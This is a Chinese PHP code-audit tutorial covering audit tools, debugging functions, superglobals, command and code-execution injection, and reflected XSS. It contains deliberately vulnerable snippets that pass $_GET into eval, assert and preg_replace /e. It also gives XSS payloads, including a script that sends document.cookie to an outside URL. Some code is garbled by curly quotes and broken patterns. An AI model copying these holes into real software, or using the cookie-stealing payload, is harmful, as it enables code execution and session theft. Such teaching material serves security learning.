PHP代码审计
发布时间:2020-12-13 16:06:39 所属栏目:PHP教程 来源:网络整理
导读:第一节:PHP 审计环境、审计工具、审计平台介绍与安装 作者:暗月(mOon ) 博客:www.moonsec.com 0x01:测试环境 wamp 安装 0x02:PHP 编写工具 EditPlu Notepad++ Zendstudio 10 0x03:代码审计工具 Seay 代码审计工具 0x04:代码审计平台安装 DVWA-1.0.8 Z
第一节:PHP 审计环境、审计工具、审计平台介绍与安装
作者:暗月(mOon ) 博客:www.moonsec.com
0x01:测试环境
wamp 安装
0x02:PHP 编写工具
EditPlu
Notepad++
Zendstudio 10
0x03:代码审计工具
Seay 代码审计工具
0x04:代码审计平台安装
DVWA-1.0.8
ZVulDrill
?
第二节:代码审计中常用代码调试函数与注释
0x01:调试函数
echo (print):
这是最简单的输出数据调试方法,一般用来输出变量值,或者你不确定程序执行
到了哪个分支的情况下是用。
print_r、var_dump(var_export)、debug_zval_dump
这个主要是用来输出变量数据值,特别是数组和对象数据,一般我们在查看接口
返回值,或者某些不太确定变量的时候,都可以使用这两个 API。
var_dump 会额外输出数据类型:
print_r 输出:格式很整齐,跟 var_dump 的区别是没有类型数据,并且布尔值
的 false 和值 NULL 输出为空
var_export 输出,所有的数据是可以作为组织好的变量输出的,都是能够作为
直接赋值使用:
需要注意的一点是,var_export 对于资源型的变量会输出 NULL
debug_zval_dump 输出结果跟 var_dump 类似,唯一增加的一个值是 refcount,
就是记录一个变量被引用了多少次,这是 php 的 copy on write (写时复制) 的
机制的一个重要特点。
exit()退出函数
?
第三节 代码审计涉及到的超全局变量
超全局变量 — 超全局变量是在全部作用域中始终可用的内置变量
在 php 中可由用户操作的全局变量列表如下:
$GLOBALS — 引用全局作用域中可用的全部变量
$_SERVER — 服务器和执行环境信息
$_GET — HTTP GET 变量
$_POST — HTTP POST 变量
$_FILES — HTTP 文件上传变量
$_REQUEST — HTTP Request 变量
$_SESSION — Session 变量
$_ENV — 环境变量
$_COOKIE — HTTP Cookies
已经被弃用的
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
?
第四节 代码审计命令注入
PHP 执行系统命令可以使用以下几个函数:
Linux unix
Wind os
system、exec、passthru、·· 反引号、shell_exec、popen、proc_open、pcntl_exec
string system ( string $command [,int &$return_var ] )
string exec ( string $command [,array &$output [,int &$return_var ]] )
void passthru (string command,int &return_var)
string shell_exec (string command)
`` 反引号
resource popen ( string $command,string $mode )
resource proc_open ( string $cmd,array $descriptorspec,array &$pipes [,string $cwd [,array
$env [,array $other_options ]]] )
void pcntl_exec ( string $path [,array $args [,array $envs ]] )
防御函数
当用户提供的数据传入此函数,使用 escapeshellarg() 或 escapeshellcmd() 来确保用户欺骗
系统从而执行任意命令。
escapeshellarg ( string $arg )
可以用到 php 的安全中,会过滤掉 arg 中存在的一些特殊字符。在输入的参数中如果包含中
文传递给 escapeshellarg,会被过滤掉。
escapeshellcmd ( string $command )
escapeshellcmd()函数会转义命令中的所有 shell 元字符来完成工作。这些元字符包括:# & ; `,
| * ? ~ < > ^ ( ) [ ] { } $ 。
?
第五节 PHP 代码审计代码执行注入
在 php 里面有一些函数将输入的字符串参数当作 PHP 程序代码来执行
一:常见代码执行函数
eval 、assert 、preg_replace
eval 代码执行注入
<?php
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
eval("$moon = $moon;");
}
?>
?
第二:assert 代码执行注入
<?php
if(isset($_GET[‘moon‘])){
$moon=$_GET[‘moon‘];
assert("$moon = $moon;");
}
?>
第三:preg_replace 正则代码执行注入
当 pattern 中存在/e 模式修饰符,即允许执行代码。
pattern 在一个参数
<?php
echo $regexp = $_GET[‘reg‘];
$var = ‘<php>phpinfo()</php>‘;
preg_replace("/<php>(.*?)$regexp",‘1‘,$var);
?>
replacement 第二个参数
<?php
preg_replace("/moon/e",$_GET[‘moon‘],"I love moon");
?>
preg_replace()第三个参数注射
<?php
preg_replace("/s*[php](.+?)[/php]s*/ies","1",$_GET[‘moon‘]);
?>
?
第六节 PHP 代码审计 XSS 反射型漏洞
xss 漏洞大致分三种
反射型 XSS 漏洞
保存型 XSS 漏洞
基于 DOM 的 XSS 漏洞
反射型 XSS 漏洞
它通过给别人发送带有恶意脚本代码参数的 URL,当 URL 地址被打开时,特有的恶意
代码参数被 HTML 解析、执行。
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
一:变量的直接输出
<?php
echo $_GET[‘xss‘];
?>
二:$_SERVER 变量参数
$_SERVER[‘PHP_SELF‘]
$_SERVER[‘HTTP_USER_AGENT‘]
$_SERVER[‘HTTP_REFERER‘]
$_SERVER[‘REQUEST_URI‘]
三:http 请求格式
User-Agent:
Referer
四:利用
Test <script>alert(1);</script>
Cookie
<script>var i=new Image;i.src="http://127.0.0.1/xss.php?c="%2bdocument.cookie;</script>
modify headers
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |